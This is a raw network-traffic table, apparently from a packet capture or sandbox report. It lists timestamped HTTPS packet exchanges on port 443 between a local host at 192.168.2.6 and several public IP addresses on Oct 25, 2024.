Oct 25, 2024 10:19:20.686290979 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.686546087 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.686646938 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.687228918 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.687266111 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.687284946 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.687292099 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.687331915 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.687340975 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.687383890 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.687391043 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.688219070 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.688271999 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.688302040 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.688313961 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.688318014 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.688411951 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.688417912 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.688560963 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.689030886 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.689106941 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.689148903 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.689171076 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.689177990 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.689253092 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.689960003 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.792454004 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.805083036 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.805156946 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.805187941 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.805243969 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.805250883 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.805314064 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.805469990 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.805578947 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.805622101 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.805632114 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.806008101 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.806056023 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.806166887 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.806173086 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.806294918 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.806546926 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.806557894 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.806596994 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.806708097 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.806721926 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.806797981 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.806803942 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.807478905 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.807576895 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.807666063 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.807666063 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.807672024 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.808346033 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.808408976 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.808450937 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.808450937 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.808456898 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.809182882 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.809236050 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.809247971 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.809257030 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.809309959 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.809314966 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.810019970 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.810070992 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.810092926 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.810097933 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.810367107 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.839462042 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.839951038 CEST	49983	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:20.839968920 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.840660095 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.841013908 CEST	49983	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:20.841104031 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.841150999 CEST	49983	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:20.887340069 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.924376965 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.924427986 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.924487114 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.924498081 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.924516916 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.924806118 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.924910069 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.924916983 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.925065994 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.925127029 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.925132990 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.925245047 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.925297022 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.925308943 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.925441980 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.925446033 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.925457001 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.925514936 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.925641060 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.925641060 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.925817966 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.925832987 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.929030895 CEST	49983	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:20.933696985 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.933708906 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.933888912 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.934310913 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.934324980 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.985506058 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.985569000 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.985635042 CEST	49983	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:20.985646009 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.985677004 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.987035036 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.987124920 CEST	49983	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:20.987430096 CEST	49983	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:20.987448931 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:21.020580053 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:21.020796061 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:21.020807028 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:21.022247076 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:21.022308111 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:21.023614883 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:21.023699045 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:21.023785114 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:21.023792982 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:21.087902069 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:21.101633072 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:21.101689100 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:21.101977110 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:21.102349997 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:21.102366924 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:21.281491041 CEST	443	49988	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.281759024 CEST	49988	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.281784058 CEST	443	49988	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.282165051 CEST	443	49988	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.283075094 CEST	49988	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.283149004 CEST	443	49988	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.283355951 CEST	49988	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.325788975 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:21.325854063 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:21.326020956 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:21.326102972 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:21.326838970 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:21.326855898 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:21.327343941 CEST	443	49988	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.396728992 CEST	49988	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.418303967 CEST	443	49988	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.418373108 CEST	443	49988	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.419183969 CEST	49988	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.420501947 CEST	49988	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.420521021 CEST	443	49988	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.548743963 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.549209118 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.549269915 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.550367117 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.555058002 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.555140018 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.555423021 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.603334904 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.686886072 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.686944962 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.686988115 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.687027931 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.687052011 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.687067986 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.687088966 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.687104940 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.687150002 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.687205076 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.687211990 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.687273979 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.687539101 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.687784910 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.689341068 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.689361095 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.713598013 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:21.782484055 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.783324957 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:21.804312944 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.804402113 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.804446936 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.804559946 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.804573059 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.804615974 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.804620981 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.805016041 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.805069923 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.805110931 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.805111885 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.805124998 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.805180073 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.805665970 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.805743933 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.805782080 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.805783033 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.805794001 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.805843115 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.806586981 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.806662083 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.806693077 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.806703091 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.806709051 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.806778908 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.806785107 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.806843996 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.807461023 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.807532072 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.811367035 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.811374903 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.831463099 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:21.831481934 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:21.832171917 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:21.837997913 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:21.838100910 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:21.838794947 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:21.838818073 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:21.838872910 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:21.922238111 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922275066 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922283888 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.922291994 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922326088 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.922331095 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922374010 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922410965 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.922411919 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922424078 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922462940 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.922669888 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922749043 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922782898 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.922786951 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922796011 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922813892 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.922838926 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.922857046 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.923661947 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.923670053 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.923696041 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.924335003 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.924344063 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.924371958 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.924377918 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.924390078 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.924400091 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.924439907 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.924444914 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.924479008 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.925416946 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.925457954 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.925481081 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.925520897 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.925530910 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.925571918 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.926136971 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.926177025 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.926183939 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.926225901 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:21.964145899 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:21.964210033 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:22.031100035 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.031152964 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.031192064 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.031209946 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.031253099 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.031287909 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.031295061 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.031375885 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.031414032 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.031419992 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.032210112 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.032253027 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.032258034 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.039855003 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:22.039907932 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:22.039937973 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:22.039997101 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:22.040071964 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:22.040107965 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:22.040132046 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:22.040137053 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:22.040158033 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:22.040174961 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:22.040770054 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:22.040822983 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:22.040832043 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:22.040877104 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:22.040884018 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:22.040919065 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:22.047369957 CEST	50000	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:22.047379017 CEST	443	50000	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:22.077331066 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.077341080 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154045105 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154099941 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154112101 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.154175043 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154242992 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154248953 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.154264927 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154315948 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154315948 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.154340029 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154395103 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.154409885 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154460907 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154508114 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154508114 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.154520035 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154563904 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.154576063 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154630899 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154673100 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154675007 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.154685020 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154727936 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.154738903 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154786110 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154827118 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154833078 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.154844046 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.154897928 CEST	50002	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:22.179905891 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.179943085 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.180017948 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.181591988 CEST	50009	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:22.181600094 CEST	443	50009	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:22.192203045 CEST	443	50002	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:22.219330072 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:22.219362020 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:22.219413996 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:22.219619989 CEST	50016	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:22.219639063 CEST	443	50016	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:22.243328094 CEST	50017	443	192.168.2.6	52.108.8.12
